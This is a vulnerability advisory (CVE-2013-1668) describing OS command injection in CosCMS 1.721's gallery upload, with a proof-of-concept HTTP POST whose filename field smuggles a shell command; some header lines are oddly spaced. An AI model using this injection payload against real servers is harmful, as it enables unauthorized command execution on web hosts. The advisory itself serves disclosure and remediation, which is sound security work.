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OS Command Injection in CosCms

Advisory ID:HTB23145
Vendor: CosCMS
Vulnerable Versions:1.721 and probably prior
Tested Version:1.721
Advisory Publication:February 13, 2013 [without technical details]
Vendor Notification:February 13, 2013
Vendor Fix:February 13, 2013
Public Disclosure:March 6, 2013
Latest Update:February 19, 2013
Vulnerability Type:OS Command Injection [CWE-78]
CVE Reference:CVE-2013-1668
Risk Level:High
CVSSv2 Base Score:8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.

1) OS Command Injection in CosCms: CVE-2013-1668
Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.
The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:

POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970
Content-Disposition: form-data; name="title"
Content-Disp osition: form-data; name="image_add"
Content- Disposition: form-data; name="description"
Conten t-Disposition: form-data; name="tags"

Content-Dispos ition: form-data; name="MAX_FILE_SIZE"
-----------------------------214562602221 04
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
-----------------------------21 456260222104
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream
Content-Disposition: form-data; name="submit"

Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.

How to Detect OS Command Injection Vulnerabilities
Website Security Test
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  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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More Information:

[1] High-Tech Bridge Advisory HTB23145 - - OS Command Injection in CosCms.
[2] CosCms - - CosCMS is a simple framework for building web application. It is intended for users, who wants some common modules, and a platform with a small code base which is easy to extend.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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